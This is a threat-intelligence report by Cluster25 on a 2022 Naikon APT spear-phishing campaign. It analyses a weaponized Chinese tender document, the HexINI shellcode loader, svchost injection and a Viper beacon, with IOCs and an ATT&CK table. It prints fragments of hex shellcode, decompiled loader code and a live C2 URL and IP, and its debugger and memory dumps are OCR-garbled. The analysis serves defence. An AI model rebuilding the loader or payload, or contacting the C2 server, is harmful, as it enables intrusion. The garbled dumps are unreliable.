THE LOTUS PANDA IS AWAKE, AGAIN. ANALYSIS OF ITS LAST STRIKE.

Cluster25.io/2022/04/29/lotus-panda-awake-last-strike/

April 29, 2022



<u>APT + Intelligence</u> Cluster25 *today*April 29, 2022



NAIKON is the name of an APT (Advanced Persistent Threat) which is believed to originate from China. The Naikon hacker group was first tracked over a decade ago, back in 2010. Naikon APT hit the headlines in 2015 when malware researchers discovered the infrastructure used by cybercriminals.

Thanks to this, **one of the members of the hacker group was caught by law enforcement**. After this oversight, cybersecurity analysts suggested that Naikon APT went out of business. However, Naikon has resurfaced in the last weeks.

The geolocalization and the sectors targeted by Naikon cyberattacks could likely suggest their intention to strategically attempt ASEAN members like Brunei, Cambodia, Indonesia, Laos, Malaysia, Myanmar, the Philippines, Singapore, Thailand, and Vietnam. Because of their more capitalist economic model, and their partnerships with the West, those countries could likely have important and classified foreign affairs or military information, which could likely be acquired and exploited by the Chinese threat actor. In fact, the group focused its previous attacks **on high profile targets such as government agencies and military organizations** in the South Asian region. Most government bodies targeted by Naikon APT cybercriminals are usually in the foreign affairs or science and technology sectors. Some state-owned businesses and companies have also reportedly been targeted by the threat actor.

By observing Naikon APT's hacking arsenal, it was concluded that this group tends to conduct long-term intelligence and espionage operations, typical for a group that aims to conduct attacks on foreign governments and officials. To avoid detection and maximize the result, it **changed different TTPs and tools over time**.

In this attack analyzed by C25, the Chinese APT used a spear phishing email to deliver a beacon of a **Red Team framework known as "Viper"**. The killchain includes an artifact that is already known and that was attributed to Naikon one year ago and it is used to load and execute a custom shellcode. The target of this attack is currently unknown but with high probability, given the previous history of the attack perpetrated by the group, it might be a government institution from a South Asian country.

INITIAL ACCESS

The attack starts with a spear phishing email containing a weaponized document. The file, written in Chinese, seems to be a reply to a **call for tenders**. Its title translated in English is "Tender Documents for Centralized Procurement of Web Application Firewall (WAF) Equipment of China Mobile from 2022 to 2024".

	第一章 招标公告	
	第二章投标人须知	
中国移动 2022 年至 2024 年 Web 应用防火墙(WAF)	投标人须知前附表	
设备集中采购招标文件	1. 送则	
	1.1 项目観况	
	1.2 资金来源和落实情况	
	1.3 招标范围	
	1.4 集中招标类型	
	1.5 招标方式	
1	1.6 招标的组织形式	
	1.7 资格审查	
	1.8 投标人不得存在的情形	
招标人: <u>中国移动通信有限公司</u>	1.9 合格的货物和服务	
初七净油,业古根会场通信建造此油次为方即事在八句	1.10 投标费用	
	1.11 保密	
	2. 招标文件	19
	2.1 招标文件的组成	
	2.2 路勘现场	
	2.3 投标预备会	20
2022 年 4 月	24 招振文件的遵清和修改	20
	3. 招标文件	20
	31 投行文件的组成	20
	2.2 121年文件的编辑	

目 录

The Office document contains two different **payloads that are hidden as document properties**. As visible in the following VBA snippet, when opening the document, the Macro code extracts the embedded data from **Comments** and **Subject** properties and writes it in the file system.

The files are written under "%Temp%**rad543C7.tmp.ini**" and "%Temp%**rad543C7.tmp.exe**". The VBA code is simple and short and doesn't have trace of any obfuscation. The created INI file contains a payload encoded as hexstring, as shown below.

fce8c1000000415141505251564831d265488b5260488b5
7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c9
51488b52208b423c4801d08b80880000004885c07468480
40204901d067e35648ffc9418b34884801d64d31c94831c
c138e075f14c034c24084539d175d758448b40244901d0
1c4901d0418b04884801d0415841585e595a4158415941
e05841595a488b12e956ffffff5d4881c470feffff488d4
b1ffd5e9970000005e6a00488dbc242001000057488d4c2
6804000008514989c94989c84889f241ba79cc3f86ffd54
006a4049c7c10010000049c7c05ca003004831d2488b0f+
4889c35449c7c15ca00300eb4641584889c2488b0f41bac
c95151514989d94989c8488b0f41bac6ac9a79ffd548310
35e0ffd5e864ffffff737663686f73742e65786500e8b5
4889e54883ec204883e4f0e800000005b4881c3035b000
03004989d86a045affd00000000000000000000000000000000000
0e00b409cd21b8014ccd21546869732070726f6772616d2
62652072756e20696e20444f53206d6f64652e0d0d0a240
9b167ab3fa7829b3fa7829b3fa782907668929b4fa78290

HEXINI LOADER

The **file rad543C7.tmp.exe** is an artifact already known to the community since the last year and it was named **HexINI**. It is a small executable that acts like a loader for a shellcode. Its name comes from its characteristic to be a loader for a hex-encoded shellcode saved as INI file in the same folder. So, also in this specific case the final code is contained into the same loader file, **rad543C7.tmp.ini**.

```
v14 = 60000;
GetModuleFileNameA(0i64, Filename, 0x104u);
splitpath(Filename, Drive, Dir, Source, v2);
Destination[0] = 0;
strcat(Destination, Drive);
strcat(Destination, Drive);
strcat(Destination, Source);
strcat(Destination, ".in");
Stream = fopen(Destination, "rb");
if ( !Stream )
exit(1);
fseek(Stream, 0, 2);
v12 = ftell(Stream);
rewind(Stream);
Buffer = malloc(v12);
if ( !Buffer )
exit(2);
v10 = fread(Buffer, 1ui64, v12, Stream);
if ( v10 != v12 )
exit(3);
v14 = 3 * ((unsigned __int64)v12 >> 1) + 1;
Src[0] = 0i64;
memset(&Src[2], 0, 0x92780ui64);
hexstring_to_bytes((const char *)Buffer, (__int64)Src);
fclose(Stream);
lpStartAddress = (LPTHREAD_START_ROUTINE)VirtualAlloc(0i64, 0x927C0ui64, 0x1000u, 0x40u);
memcpy(lpStartAddress, Src, 0x927C0ui64);
hHandle = CreatEThread(0i64, 0i64, lpStartAddress, 0i64, 0, 0i64);
WaitForSingleObject((HHandle);
```

In the image is shown the core of **HexINI** loader. It simply opens and reads the INI file using the **fopen** and **fread** functions, then converts the hexadecimal string to a byte array. Then this array is loaded into process memory space using **VirtualAlloc** and **memcpy**. Finally, the code is executed on a new thread through the **CreateThread** function.

	00000000000000000000000000000000000000	50	nob	
•	0000000076B95A1F	90	nop	
RIP RAX	0000000076B95A20	48:83EC 48	sub rsp,48	CreateThread
	0000000076B95A24	48:8B4424 78	mov rax, gword ptr ss: [rsp+78]	
•	0000000076B95A29	48:894424 38	mov gword ptr ss: rsp+381,rax	
•	0000000076B95A2E	8B4424 70	mov eax.dword ptr ss:[rsp+70]	
•	000000076B95A32	48:C74424 30 0000000	mov aword ptr ss: rsp+30.0	
	000000076B95A3B	894424 28	mov dword ptr ss: rsp+28 .eax	
	0000000076B95A3F	4C:894C24 20	mov gword ptr ss: rsp+20, r9	[rsp+20]:"ini"
	000000076B95A44	4D:8BC8	mov r9.r8	C P
	000000076895447	4C:8BC2	mov r8.rdx	
	000000076895444	48:88D1	mov rdx.rcx	
	000000076895440	48-82C9 FF	on new EEEEEEEEEEEEE	
	000000076895451	FR 0500000	call <imp &createremotethreadevs<="" th=""><th></th></imp>	
	000000076895451	48.8364 48	add nep 49	
	000000076895456	40.0504 40	add TSP,40	
	0000000076895A5A	C5		
	000000076B95A5B	90	nop	
	000000076B95A5C	90	nop	
•	0000000076B95A5D	90	nop	
•	0000000076B95A5E	90	nop	
•	0000000076B95A5F	90	nop	
•	0000000076B95A60	90	nop	
•	0000000076B95A61	90	nop	
•	0000000076B95A62	90	nop	
•	0000000076B95A63	90	nop	
•	000000076B95A64	 FF25 8E770800 	jmp qword ptr ds:[<&CreateRemoteThreadE	JMP.&CreateRemoteThreadEx
	000000076B95A6A	90	nop	

rsp=00000000019C958 48 'H'

.text:0000000076B95A20 kernel32.dll:\$15A20 #14E20 <CreateThread>

Jump 1	🛄 Di	ump 2	2		, Du	mp 3	3		Dun	np 4			Dum	p 5		🤣 v	edi 1	1 [x	:=] Lo	cals	2	Struct					
Indirizzo		Hex	c														1	ASCI	I			1					
00000000005	70000	FC	E8	C1	00	00	00	41	51	41	50	52	51	56	48	31	D2	üèÁ.	AQ	APRO	VH1Ò						
00000000005	70010	65	48	8B	52	60	48	8B	52	18	48	8B	52	20	48	8B	72	eH.R	H.R	.н.г	с́н.r						
00000000005	70020	50	48	0F	B7	4A	4A	4D	31	C9	48	31	C 0	AC	ЗC	61	7C	PH.	3 3M1	ÉH1/	<u> </u> <a < td=""><td></td><td></td><td></td><td></td><td></td><td></td></a <>						
00000000005	70030	02	2C	20	41	C1	C9	OD	41	01	C1	E2	ED	52	41	51	48	., A	ÁÉ.A	. Áâ	ÍRAQH						
00000000005	70040	8B	52	20	8B	42	ЗC	48	01	DO	8B	80	88	00	00	00	48	.R	B≺H.	Ð	H						
00000000005	70050	85	C0	74	68	48	01	DO	50	8B	48	18	44	8B	40	20	49	.Ath	H.DP	.н.с).@_I						
00000000005	70060	01	DO	67	E3	56	48	FF	C9	41	8B	34	88	48	01	D6	4D	. Dga	VHŸĘ	A. 4.	н.ом						
00000000005	70070	31	C9	48	31	C0	AC	41	C1	C9	OD	41	01	C1	38	EO	75	1EH1/	A-AA	Ę.A.	A8àu						
0000000005	70080	F1	4C	03	4C	24	08	45	39	D1	75	D7	58	44	8B	40	24	nL.L	\$.E9	Nux)	D.@\$						
00000000005	70090	49	01	DO	66	41	8B	OC.	48	44	8B	40	10	49	01	DO	41	I.DT	АН	D.e.	I.DA						
00000000005	700A0	8B	04	88	48	01	DO	41	58	41	58	5E	59	5A	41	58	41	H	. ĐAX	AX^	ZAXA						
00000000005	700B0	59	41	5A	48	83	EC	20	41	52	FF	EO	58	41	59	5A	48	YAZH	. 1. A	Rya	CAYZH						
00000000005	700C0	88	12	E9	56	FF	FF	FF	5D	48	81	C4	70	FE	FF	FF	48	ev	λλλ]	H. A	руун						
00000000005	700D0	8D	4C	24	30	41	BA	B1	4A	6B	81	FF	D5	E9	97	00	00	.L\$0/	A°±J	K±Y0)e						
00000000005	700E0	00	5E	6A	00	48	8D	BC	24	20	01	00	00	57	48	8D	4C	:^]:	н. %\$. • • •	WH.L						
00000000005	700F0	24	60	51	48	31	C9	51	51	68	04	00	00	08	51	49	89	3_QH	IEQQ	n	- Q1						
00000000005	70100	C9	49	89	C8	48	89	FZ	41	BA	79	CC	3F	86	FF	D5	48	EI.E	H. OA	°YI	уон						
00000000005	70110	85	CO	OF	84	76	00	00	00	6A	40	49	C7	C1	00	10	00	· A. ;)	v]@10	A						
00000000005	/0120	00	49	<u>C</u>	CO	5C	AO	03	00	48	31	D2	48	88	01	41	BA	• 1ÇA	\	H10	1. A'						
00000000005	70130	AE	87	92	31	EF.	05	48	89	C3	54	49	4	CI	SC	AO	03	8 Y	YOH:	ALIC	A\						
00000000005	70140	00	EB.	46	41	58	48	89	22	48	88	OF	41	BA	5	08	BD	. efa	XH A	H. (1° AØ%						
00000000005	70150	E/	FF.	D5	48	31	<u>ca</u>	51	51	51	49	89	09	49	89	C8	48	ÇYOH:	TEQQ	Q1. (JI. EH						
00000000005	70160	88	01	41	BA	C6	AC	9A	29	EF.	05	48	31	Ca.	48	EF.	cal	- A°/	- y	YOH:	ЕНУЕ						
00000000005	701/0	41	BA	44	FO	35	EO	EF.	05	EB	64	FF.	타	EF.	13	10	63	A*DO	sayu	edy	ysvo						
00000000000	70180	68	61	13	44	2E	65	18	65	00	20	65	EF.		EF.	4D	SA	nost	. exe	(eh)	/yym∠						
00000000000	70190	41	52	55	48	89	E5	48	83	EC	20	48	83	E4	10	E8	00	ARUH	. ан.	문법	aue.						
00000000000	701A0	00	20	00	28	48	01	23	03	56	00	00	EF.	03	48	01	23	1221	п. А. т. а-і	L	OH.A						
	A THE BUL		100	11.5				1.	DA.		- A								1	VI							

As shown in this picture, the hex bytes in the memory space the **IpStartAddress** is pointing to are the same already seen into the previous INI file.

SHELLCODE

Once the shellcode is executed, it proceeds with the creation of a suspended process of **svchost.exe** that can inject the final beacon.

The injection mechanism uses the classic flow composed by **VirtualAllocEx**, **WriteProcessMemory** and **CreateRemoteThreadEx** WinApi functions.

This remote thread seems to be a sort of HTTP beacon that tries to get new commands to execute every 7899 milliseconds from

https://175.27.164.228:57784/NYMLEDfq/IOH9E0Nq2YMEVQVXZgqYUAOI5wWcN5LMe

The beacon embeds the following user-agent:

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36

That corresponds to Google Chrome v58 on Windows 7.

At first glance, the code of this artifact might look like a CobaltStrike beacon. However, after a deep analysis C25 team discovered the beacon derives from a less popular RedTeam framework known as **Viper**.

On the command-and-control server, using a passive approach, C25 found the presence of a **Viper framework and ARL dashboards** (both tools are briefly described in the next section).

A graphic representation of the described kill-chain is shown below.



NAIKON ARSENAL

During the analysis it was discovered part of Naikon APT arsenal. Starting from what we observed we can assert that this Chinese group is using open-source tools like **Viper** and **ARL (Asset Reconnaissance Lighthouse)**. Both tools seem to be developed by a Chinese programmer, as most of their documentation is written in Mandarin.

Viper [https://github.com/FunnyWolf/Viper]

Viper is a graphical penetration tool, which modularizes and weaponizes the tactics and technologies commonly used in the process of Intranet penetration. As stated in its Github page, Viper integrates 80+ modules, covering almost all the known Techniques (such as Resource Development, Initial Access, Execution, Persistence and so on).

Like CobaltStrike, Viper allows easy payload generation, such as Meterpreter, ReverseShell and other custom beacons.

In the following image is shown a Meterpreter usage example directly through the Viper GUI.



ARL [https://github.com/TophantTechnology/ARL]

ARL (Asset Reconnaissance Lighthouse) is a tool to assist security team or penetration tester to make reconnaissance and retrieval of assets, discovering existing weak points and attack surfaces.

The tool has a lot of functionalities such as port scanning and service identification, website fingerprinting, Domain name asset discovery and so on.

As visible from the Github page, the tool exposes a user-friendly Web view that make easier most of its functionalities.

(7) 资产灯塔系统	≡ 任务	管理								6	admin G 修改图
2 任务管理	_										
0、留下部署	(ātur	199									
© m=and	任務者	请输入任务名进行搜索	् B छः	vulbox.com	Q. Task_M: 测验入Task_MILI行规规	٩, 6	19 21 : WBS11	接受进行接索			
品 语产分组	11.11	EDR 記量停止	批量登出 >								
O MARZ		任务名	日标	Task_Id	配置须	开始时间	结束时间	状态	授作		
D PoC(D)		益控-漏洞盘子222- vulbox.com	valbox.com	605421/16591e7760e65623b	城名烟藏 鏡目扫描 站住印刷 …	2021-03-19 12:00:49	2021-03-19 12:02:34	done	박 岡	寺出 师止	H R
		益控- 漂问直 了222- vulbox.com	valbox.com	6052d0516591e767e3e00039	城名爆破 建门扫满 机燃烧剂	2021-03-18 12:00:33	2021-03-18 12:02:14	done	4 III	等出 师止	H R
		监控- 漂问盒 了222- vulbox.com	vulbox.com	60517ecb6591e75137547031	城谷爆破 建口扫描 机依识别	2021-03-17 12:00:11	2021-03-17 12:02:03	(done)	*	₩38 第11	HR
		监控 漂词盒了222- vulbox.com	vulbox.com	60502d445591#75#60b1508d	波名環境 純口扫描 站出识别	2021-03-16 12:00:04	2021-03-16 12:01:43	(dore	N #	88 # 1	H R
		部技 週間倉子222- vulbox.com	vulbox.com	604edbbc6591e75e60b15087	波台環境 纵口扫描 站水识别	2021-03-15 11:59:56	2021-03-15 12:01:43	dore	8 #	88 * 1	
		版技·週間童子222- vulbox.com	vulbox.com	604dSa366591e75e60b15085	增合環境 纵口扫描 站东识别	2021-03-14 11:59:50	2021-03-14 12:01:30	(done)	₽	号出 学出	81 Kt
		15种-通道論子222- vulbox.com	vulbox.com	604c38ar6591e75e60b15085	波台環境 法口口语 站东识别	2021-03-13 11:59:13	2021-03-13 12:01:33	done	₽	导击 停止	
		85%-96%%÷222- vulbox.com	vulbox.com	604ac7296591c75a60b15084	波名爆破 法口口语 站东识别	2021-03-12 11-59:36	2021-03-12 12:01:16	dans	同步	导击 停止	EH Rt:
		8四秒-06時間子222- vulbox.com	vulbox.com	604995a76591c73boeb1508d	波名爆破 波口扫描 站东识别	2021-03-11 11:59:35	2021-03-11 12:01:11	done	同步	导击 修止	EH N:

INDICATORS OF COMPROMISE

CATEGORY	TYPE	VALUE
MALDOC	SHA256	05936ed2436f57237e7773d3b6095e8df46821a62da49985c98be34136594ebd
EXE	SHA256	8b831ee82975d43456ee861115272d3923e17f07a702eb057feeed8ce76ff4ca
FAKE INI	SHA256	ee50160fdd7cacb7d250f83c48efa55ae0479e47a1eece9c08fe387453b9492a
SHELLCODE	SHA256	eeb5dc51e3828ffbefc290dc1a973c5afc89ba7ff43ab337d5a3b3dc6ca4216f
C&C	IPV4	175.27.164.228

ATT&CK MATRIX

TACTIC	TECHNIQUE	NAME
Initial Access	T1566.001	Phishing: Spearphishing Attachment
Execution	T1204	User Execution
Defense Evasion	T1055	Process Injection
Defense Evasion	T1406	Obfuscated Files or Information
Command and Control	T1573	Encrypted Channel
Command and Control	T1105	Ingress Tool Transfer
Command and Control	T1071	Application Layer Protocol
Command and Control	T1571	Non-Standard Port

HUNTING AND DETECTION

Customers with access to Cluster25 intelligence portal can get more indicators and threat hunting rules about this attack following the link

https://intelligence.cluster25.io/analysis/64a25cf2-e115-4526-b236-4a8e5275d8c3

For more information about this campaign it's possibile to send an email to

Written by: Cluster25

Tagged as: <u>APT</u>, <u>Malware</u>, <u>phishing</u>, <u>Naikon</u>, <u>China</u>.